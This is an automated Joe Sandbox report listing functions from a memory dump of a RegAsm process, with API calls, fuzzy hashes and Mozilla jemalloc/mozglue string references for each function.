Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction ID: cd048e443ed1b9c61974797cd4c2aa407e59845fcc28f15e1a294365737ba372
Opcode Fuzzy Hash: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction Fuzzy Hash: 9953AF71A16701CFC324CF29C590616FBE5BF86728F29C6ADE8699B791D331E801CB91

Function 6C9934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EE2

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9961DD
Part of subcall function 6C996180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C99622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994157

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996250
Part of subcall function 6C996180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C99484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994896
free.MOZGLUE ref: 6C99489F

Strings

, xrefs: 6C994CD2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction ID: a80141e8c1041283da6c1b159c71dc6b8d8a6dbf8269f4b6c4ee7051b7bf5371
Opcode Fuzzy Hash: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction Fuzzy Hash: 4DF25A74908B808FC721CF28C08469AFBF1FF99348F158A5ED99997711DB71E896CB42

Function 6C9464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C946505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C946518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C94671C
GetCurrentProcess.KERNEL32 ref: 6C946724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C94672F
GetCurrentProcess.KERNEL32 ref: 6C946759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C946764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C946A80
GetSystemInfo.KERNEL32(?), ref: 6C946ABE
__Init_thread_footer.LIBCMT ref: 6C946AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AF7

Strings

detoured.dll, xrefs: 6C9464DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C946798
nvdxgiwrap.dll, xrefs: 6C946513
nvd3d9wrap.dll, xrefs: 6C946500
user32.dll, xrefs: 6C946526
_etoured.dll, xrefs: 6C9464ED

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction ID: 3605b48dd3e431b79443c227f5fc9814da9f328e576f23053270656c5524b57a
Opcode Fuzzy Hash: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction Fuzzy Hash: 73F1C5B09056199FDF20CF64CC8879AB7B9AF45318F1482D9E809A7681D771EE84CF90

Function 6C99C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C99C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E472

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c55cbe7ff7ff680c4769c3df0ef152855f17cb3b9a2d45a27b48e8b1282de5c3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 78339C72E0021A8FCB14CFA8C8C06ADBBF6FF49314F288269D955AB755D731E945CB90

Function 6C94FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C950D67, 6C950D7B, 6C950DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4
<jemalloc>, xrefs: 6C950D62, 6C950D76, 6C950DA7

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction ID: b0ed0e24a88459511f54361f70ff1b20d27e35f533510d4b2788f68d65f085b1
Opcode Fuzzy Hash: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction Fuzzy Hash: A0C2E071A057418FD714CF28C48071ABBE5BF86328F68C66DE8AA8B7D5D771E811CB81

Function 6C99E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C99E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0ED4

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction ID: 83f33cdf636b9c575333a58d453c8553eb7c69c79382281d3ad1e6d51ed41d30
Opcode Fuzzy Hash: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction Fuzzy Hash: 93636F71E0025ACFCB14CFA8C8905EDFBB2FF89314F298269D855AB755D730A946CB90

Function 6C973E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C997770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C973E7D,?,?,?,6C973E7D,?,?), ref: 6C99777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C973F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C973F5C
VerSetConditionMask.NTDLL ref: 6C973F8D
VerSetConditionMask.NTDLL ref: 6C973F99
VerSetConditionMask.NTDLL ref: 6C973FA0
VerSetConditionMask.NTDLL ref: 6C973FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C973FB4

Strings

nvinit.dll, xrefs: 6C974479
nvd3d9wrap.dll, xrefs: 6C974466

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction ID: 89ccc75f41543da3e5db6ac3e4795555496859cd805f45b06b913819db2b9e2f
Opcode Fuzzy Hash: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction Fuzzy Hash: B0520472610B889FD715DF74C880AAB77FAAF65304F54492DD8968BB42CB34F909CB60

Function 6C95ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C95EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C95EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C961695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C961770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C961A3E

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction ID: 7811663365535f96157f7ffc8ff0bc0eece8c14008e0c976d58da83abebd8693
Opcode Fuzzy Hash: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction Fuzzy Hash: 59B32B71E0021ACFDB14CFA9C890AADB7B2FF49314F5581A9D449ABB85D730AD85CF90

Function 6C94FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

MOZ_CRASH(), xrefs: 6C950CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4, 6C951A10

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction ID: b209604a58f3d67b801b332873f33ee7a692ba75c099e375348f5db645ac9573
Opcode Fuzzy Hash: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction Fuzzy Hash: 38B2BE716097418FD718CF29C5D0716BBE5BF86328F68C6ACE86A8BB95D770E850CB40

Function 6C985600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C985AC3
expected a Time entry, xrefs: 6C985CB6
schema, xrefs: 6C98606D
data, xrefs: 6C986131
ProfileBuffer parse error: %s, xrefs: 6C985AC8, 6C985CBB
name, xrefs: 6C985E79, 6C985E8F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction ID: 73cc973e9964e6f9b13aaefb69cc7dc6500c641355d7f6107e76976f65eefd08
Opcode Fuzzy Hash: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction Fuzzy Hash: D7925BB16093418FD724CF28C490B9AB7E1BFD9308F548D1DE99A9B751DB30E909CB92

Function 6C977E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C977E88
schema, xrefs: 6C9781E3, 6C978311
data, xrefs: 6C978280, 6C9783E1
name, xrefs: 6C977ECF, 6C978335

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction ID: ba1de9795a454a5cd90d0fc0205346c78ec0c3eaf6fa11316a77cb28174bcb05
Opcode Fuzzy Hash: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction Fuzzy Hash: EDE16EB1A043509BC714CF68C84065BFBEAFFA5714F148A2DE899E7790DB70DD098B91

Function 6C95D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D6A6
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D712
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C95D82C
<jemalloc>, xrefs: 6C95D827

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction ID: b174cc78249b7d12da0aa086f5dc3b84be5d3d232be5d6c441ff5284771a56bc
Opcode Fuzzy Hash: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction Fuzzy Hash: 2191F3B2A097019FD714CF28C29032BB7E5FB89714F64892EE55AC7B85D730E851CB82

Function 6C955E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2
memset.VCRUNTIME140(6C997765,000000E5,9BC09015), ref: 6C9561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C957652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9572E3
MOZ_CRASH(), xrefs: 6C957BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C957BCD, 6C957C1F, 6C957C34, 6C9580FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C95730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9572F8

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction ID: e2e2577c7ce42b95c444cfd34671bd7b36988074fb96c186f37822b9fbd29dc1
Opcode Fuzzy Hash: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction Fuzzy Hash: 2A339B7161A7018FC308CF28C590615BBE2BF85328F69C7ADE9698F7A5D731E861CB41

Function 6C994EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C994EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994F2E
moz_xmalloc.MOZGLUE ref: 6C994F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C994F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952E6
Sleep.KERNEL32(00000010), ref: 6C995481
free.MOZGLUE(?), ref: 6C995498

Strings

(, xrefs: 6C995250

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

